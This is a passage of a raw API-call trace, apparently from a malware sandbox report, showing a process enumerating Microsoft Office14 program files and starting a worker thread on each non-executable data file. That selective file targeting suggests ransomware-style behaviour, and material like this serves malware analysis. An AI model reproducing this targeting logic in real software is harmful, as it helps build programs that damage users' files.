_Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0162.468] wcscat (in: _Dest=0x93bf18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0162.468] wcscat (in: _Dest=0x93bf18, _Source="RSWOP.ICM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM") returned="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM" [0162.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bf18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a3c [0162.469] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x8f770, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTFHTML.DLL", cAlternateFileName="")) returned 1 [0162.469] wcscmp (_String1="RTFHTML.DLL", _String2=".") returned 1 [0162.469] wcscmp (_String1="RTFHTML.DLL", _String2="..") returned 1 [0162.469] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe412d900, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe412d900, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x49580, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAEXT.DLL", cAlternateFileName="")) returned 1 [0162.473] wcscmp (_String1="SAEXT.DLL", _String2=".") returned 1 [0162.473] wcscmp (_String1="SAEXT.DLL", _String2="..") returned 1 [0162.473] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAMPLES", cAlternateFileName="")) returned 1 [0162.473] wcscmp (_String1="SAMPLES", _String2=".") returned 1 [0162.473] wcscmp (_String1="SAMPLES", _String2="..") returned 1 [0162.474] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0cd8 [0162.474] wcscpy (in: _Dest=0x8f0cd8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0162.474] wcscat (in: _Dest=0x8f0cd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0162.474] wcscat (in: _Dest=0x8f0cd8, _Source="SAMPLES" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES") returned="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" [0163.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c4 [0163.547] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6629a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x8f968, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0163.547] wcscmp (_String1="SAVASWEB.DLL", _String2=".") returned 1 [0163.547] wcscmp (_String1="SAVASWEB.DLL", _String2="..") returned 1 [0163.547] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd664fb80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x27ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBHF.DLL", cAlternateFileName="")) returned 1 [0163.548] wcscmp (_String1="SAVWBHF.DLL", _String2=".") returned 1 [0163.548] wcscmp (_String1="SAVWBHF.DLL", _String2="..") returned 1 [0163.548] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66c1fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x40f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBRAS.DLL", cAlternateFileName="")) returned 1 [0163.548] wcscmp (_String1="SAVWBRAS.DLL", _String2=".") returned 1 [0163.548] wcscmp (_String1="SAVWBRAS.DLL", _String2="..") returned 1 [0163.548] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66c1fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3df88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBVML.DLL", cAlternateFileName="")) returned 1 [0163.548] wcscmp (_String1="SAVWBVML.DLL", _String2=".") returned 1 [0163.548] wcscmp (_String1="SAVWBVML.DLL", _String2="..") returned 1 [0163.548] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20188a00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd670e260, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x20188a00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x29388, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBXAML.DLL", cAlternateFileName="SAVWBX~1.DLL")) returned 1 [0163.548] wcscmp (_String1="SAVWBXAML.DLL", _String2=".") returned 1 [0163.548] wcscmp (_String1="SAVWBXAML.DLL", _String2="..") returned 1 [0163.548] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xb7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCANPST.EXE", cAlternateFileName="")) returned 1 [0163.548] wcscmp (_String1="SCANPST.EXE", _String2=".") returned 1 [0163.548] wcscmp (_String1="SCANPST.EXE", _String2="..") returned 1 [0163.548] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCNPST32.DLL", cAlternateFileName="")) returned 1 [0163.548] wcscmp (_String1="SCNPST32.DLL", _String2=".") returned 1 [0163.548] wcscmp (_String1="SCNPST32.DLL", _String2="..") returned 1 [0163.548] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6bfb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCNPST64.DLL", cAlternateFileName="")) returned 1 [0163.548] wcscmp (_String1="SCNPST64.DLL", _String2=".") returned 1 [0163.548] wcscmp (_String1="SCNPST64.DLL", _String2="..") returned 1 [0163.548] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1e8f00, ftCreationTime.dwHighDateTime=0x1c74a41, ftLastAccessTime.dwLowDateTime=0x6d273e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf1e8f00, ftLastWriteTime.dwHighDateTime=0x1c74a41, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="SegoeChess.ttf", cAlternateFileName="SEGOEC~1.TTF")) returned 1 [0163.548] wcscmp (_String1="SegoeChess.ttf", _String2=".") returned 1 [0163.548] wcscmp (_String1="SegoeChess.ttf", _String2="..") returned 1 [0163.548] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x99dd88 [0163.548] wcscpy (in: _Dest=0x99dd88, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0163.548] wcscat (in: _Dest=0x99dd88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0163.548] wcscat (in: _Dest=0x99dd88, _Source="SegoeChess.ttf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf") returned="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf" [0163.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99dd88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb4 [0163.550] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7d4f800, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdd891b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf7d4f800, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x94590, dwReserved0=0x0, dwReserved1=0x0, cFileName="SELFCERT.EXE", cAlternateFileName="")) returned 1 [0163.550] wcscmp (_String1="SELFCERT.EXE", _String2=".") returned 1 [0163.550] wcscmp (_String1="SELFCERT.EXE", _String2="..") returned 1 [0163.550] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6970, dwReserved0=0x0, dwReserved1=0x0, cFileName="SENDTO.DLL", cAlternateFileName="")) returned 1 [0163.550] wcscmp (_String1="SENDTO.DLL", _String2=".") returned 1 [0163.550] wcscmp (_String1="SENDTO.DLL", _String2="..") returned 1 [0163.550] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45887700, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45887700, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEQCHK10.DLL", cAlternateFileName="")) returned 1 [0163.550] wcscmp (_String1="SEQCHK10.DLL", _String2=".") returned 1 [0163.550] wcscmp (_String1="SEQCHK10.DLL", _String2="..") returned 1 [0163.550] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c961300, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c961300, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG.EXE", cAlternateFileName="")) returned 1 [0163.550] wcscmp (_String1="SETLANG.EXE", _String2=".") returned 1 [0163.550] wcscmp (_String1="SETLANG.EXE", _String2="..") returned 1 [0163.550] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0af6f40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x222b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SG.DLL", cAlternateFileName="")) returned 1 [0163.550] wcscmp (_String1="SG.DLL", _String2=".") returned 1 [0163.550] wcscmp (_String1="SG.DLL", _String2="..") returned 1 [0163.550] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67343c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x52b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAPNUM.DLL", cAlternateFileName="")) returned 1 [0163.550] wcscmp (_String1="SHAPNUM.DLL", _String2=".") returned 1 [0163.550] wcscmp (_String1="SHAPNUM.DLL", _String2="..") returned 1 [0163.550] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67868700, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67868700, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x46f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAREPOINTPROVIDER.DLL", cAlternateFileName="SHAREP~1.DLL")) returned 1 [0163.550] wcscmp (_String1="SHAREPOINTPROVIDER.DLL", _String2=".") returned 1 [0163.550] wcscmp (_String1="SHAREPOINTPROVIDER.DLL", _String2="..") returned 1 [0163.550] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd84a0f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd84a0f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="SketchPadTestSchema.xml", cAlternateFileName="SKETCH~1.XML")) returned 1 [0163.550] wcscmp (_String1="SketchPadTestSchema.xml", _String2=".") returned 1 [0163.550] wcscmp (_String1="SketchPadTestSchema.xml", _String2="..") returned 1 [0163.550] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6c68 [0163.550] wcscpy (in: _Dest=0x8e6c68, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0163.550] wcscat (in: _Dest=0x8e6c68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0163.551] wcscat (in: _Dest=0x8e6c68, _Source="SketchPadTestSchema.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" [0163.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb8 [0163.552] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x861bf100, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x861bf100, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0x80fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0163.552] wcscmp (_String1="SLERROR.XML", _String2=".") returned 1 [0163.552] wcscmp (_String1="SLERROR.XML", _String2="..") returned 1 [0163.552] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x971fd8 [0163.552] wcscpy (in: _Dest=0x971fd8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0163.552] wcscat (in: _Dest=0x971fd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0163.552] wcscat (in: _Dest=0x971fd8, _Source="SLERROR.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" [0163.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x971fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcbc [0163.553] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebbec00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x84cd39e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebbec00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x37d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIGRATE.DLL", cAlternateFileName="")) returned 1 [0163.553] wcscmp (_String1="SMIGRATE.DLL", _String2=".") returned 1 [0163.553] wcscmp (_String1="SMIGRATE.DLL", _String2="..") returned 1 [0163.553] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0xa8b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOA.DLL", cAlternateFileName="")) returned 1 [0163.553] wcscmp (_String1="SOA.DLL", _String2=".") returned 1 [0163.553] wcscmp (_String1="SOA.DLL", _String2="..") returned 1 [0163.553] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67868700, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67868700, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x264780, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOCIALCONNECTOR.DLL", cAlternateFileName="SOCIAL~1.DLL")) returned 1 [0163.553] wcscmp (_String1="SOCIALCONNECTOR.DLL", _String2=".") returned 1 [0163.553] wcscmp (_String1="SOCIALCONNECTOR.DLL", _String2="..") returned 1 [0163.553] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66555a00, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66555a00, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x8fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOCIALPROVIDER.DLL", cAlternateFileName="SOCIAL~2.DLL")) returned 1 [0163.553] wcscmp (_String1="SOCIALPROVIDER.DLL", _String2=".") returned 1 [0163.553] wcscmp (_String1="SOCIALPROVIDER.DLL", _String2="..") returned 1 [0163.553] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd675a520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x57f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLUTILS.DLL", cAlternateFileName="")) returned 1 [0163.553] wcscmp (_String1="SOLUTILS.DLL", _String2=".") returned 1 [0163.553] wcscmp (_String1="SOLUTILS.DLL", _String2="..") returned 1 [0163.553] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd11e7f00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd11e7f00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x597e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPANISH.LNG", cAlternateFileName="")) returned 1 [0163.553] wcscmp (_String1="SPANISH.LNG", _String2=".") returned 1 [0163.554] wcscmp (_String1="SPANISH.LNG", _String2="..") returned 1 [0163.554] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x972b18 [0163.554] wcscpy (in: _Dest=0x972b18, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0163.554] wcscat (in: _Dest=0x972b18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0163.554] wcscat (in: _Dest=0x972b18, _Source="SPANISH.LNG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG") returned="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG" [0163.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x972b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc0 [0163.555] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd718e200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd718e200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x173e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0163.555] wcscmp (_String1="SplashScreen.bmp", _String2=".") returned 1 [0163.555] wcscmp (_String1="SplashScreen.bmp", _String2="..") returned 1 [0163.555] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x99de88 [0163.555] wcscpy (in: _Dest=0x99de88, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0163.555] wcscat (in: _Dest=0x99de88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0163.555] wcscat (in: _Dest=0x99de88, _Source="SplashScreen.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" [0163.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99de88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c8 [0163.556] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20188a00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6780680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x20188a00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3d7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLSHARE.DLL", cAlternateFileName="")) returned 1 [0163.556] wcscmp (_String1="SQLSHARE.DLL", _String2=".") returned 1 [0163.556] wcscmp (_String1="SQLSHARE.DLL", _String2="..") returned 1 [0163.556] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: 